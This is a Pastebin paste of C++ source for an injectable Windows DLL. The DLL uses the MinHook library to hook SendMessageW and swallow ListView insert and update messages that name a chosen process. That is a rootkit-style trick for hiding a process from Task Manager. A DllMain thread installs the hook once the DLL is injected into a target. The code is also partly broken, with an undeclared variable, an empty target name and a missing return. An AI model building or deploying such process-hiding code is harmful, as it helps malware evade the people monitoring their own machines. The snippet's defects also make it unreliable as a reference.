Advertisement
Guest User

Untitled

a guest
Mar 23rd, 2017
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.46 KB | None | 0 0
  1. #include "stdafx.h"
  2. #include "C:\Users\Androide\Desktop\minhook\Dynamic\MinHook_133_src\include\MinHook.h"//MHook header
  3. #include <iostream>
  4. #include <windows.h>
  5. #include <Commctrl.h>
  6. #include <conio.h>
  7.  
  8. using namespace std;
  9.  
  10. typedef void (*SENDMESSAGEW)();//Typedef for the hooked function
  11. static SENDMESSAGEW Basewritefoobar;//Backup of the originak fonction
  12.  
  13. static const wchar_t *hiddenprocess=L"";
  14.  
  15. LRESULT WINAPI BSSSendMessageW(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam)
  16. {
  17. if ( msg == LVM_INSERTITEMW || msg == LVM_SETITEMW)//Intercepts LVM_INSERTITEM and LVM_SETITEM messages
  18. {
  19. if (!lstrcmpW(((LVITEMW*)lparam)->pszText, hiddenprocess))//The lparam is a LVITEM* struct.
  20. {
  21. return 0;//If the item name is the same as process we want to hide, we simply return 0 (and we do not call the real SendMessage function.
  22. }
  23. //return 0;
  24. }
  25. return SendMessage(hwnd, msg, wparam, lparam);//Calls the real SendMessage function.
  26. }
  27.  
  28. static bool Hook();
  29.  
  30. template <typename T>
  31. inline MH_STATUS MH_CreateHookEx(void* target, void* const base, T** original)
  32. {
  33. return MH_CreateHook(target, base, reinterpret_cast<void**>(original));
  34. }
  35.  
  36.  
  37. extern "C" __declspec (dllexport) void __cdecl SendWrite()
  38. {
  39.  
  40. }
  41.  
  42. DWORD CALLBACK SetupHook(PVOID) {
  43. // get the main thread ID
  44.  
  45. HANDLE hSemaphore = ::OpenSemaphore(SEMAPHORE_ALL_ACCESS, FALSE, L"InjectedMainThread");
  46. assert(hSemaphore);
  47.  
  48. LONG id = 0;
  49. ::ReleaseSemaphore(hSemaphore, 1, &id);
  50. assert(id != 0);
  51.  
  52. // wait a bit for the main thread to be ready for input
  53.  
  54. ::Sleep(100);
  55.  
  56. // set up the hook
  57.  
  58. if (!Hook())//Hook SendMessage
  59. {
  60. cout << "Hook failed" << endl;
  61. return 1;
  62. }
  63. }
  64.  
  65. BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, PVOID) {
  66. switch (reason) {
  67. case DLL_PROCESS_ATTACH:
  68. {
  69. g_hInstDll = hModule;
  70.  
  71. // create a separate thread to set up the hook
  72.  
  73. ::CreateThread(nullptr, 0, SetupHook, nullptr, 0, nullptr);
  74. break;
  75. }
  76.  
  77. case DLL_THREAD_ATTACH:
  78. case DLL_THREAD_DETACH:
  79. case DLL_PROCESS_DETACH:
  80. break;
  81. }
  82. return TRUE;
  83. }
  84.  
  85.  
  86. bool Hook()
  87. {
  88. if (MH_Initialize() != MH_OK)
  89. {
  90. return false;
  91. }
  92.  
  93. if (MH_CreateHookEx((void*)&SendMessageW, (void*)&BSSSendMessageW, &Basewritefoobar) != MH_OK)
  94. {
  95. return FALSE;
  96. }
  97. return MH_EnableHook((void*)&SendMessageW) == MH_OK;
  98. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement